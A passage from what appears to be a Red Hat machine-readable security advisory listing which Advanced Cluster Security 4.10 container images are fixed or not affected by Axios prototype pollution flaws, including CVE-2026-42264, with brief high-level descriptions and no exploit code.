"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget"
},
{
"cve": "CVE-2026-42264",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-05-08T04:02:21.039378+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2467927"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as prototype pollution, allows an attacker to inject malicious properties into core JavaScript objects. When another component in the same application environment is compromised and pollutes the system\u0027s object prototype, Axios can unknowingly use these manipulated values in its outbound network requests. This could lead to the disclosure of sensitive information or the alteration of network communications, compromising data confidentiality and integrity.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Prototype pollution allows information disclosure and request manipulation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important prototype pollution flaw in Axios could result in information disclosure and network request manipulation. The vulnerability occurs when a co-located dependency in the application environment successfully pollutes the JavaScript `Object.prototype`. Under these conditions, Axios may unknowingly incorporate the manipulated properties into its outbound HTTP requests, potentially compromising data confidentiality and integrity. Exploitation is contingent on a prior successful prototype pollution attack from another component.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
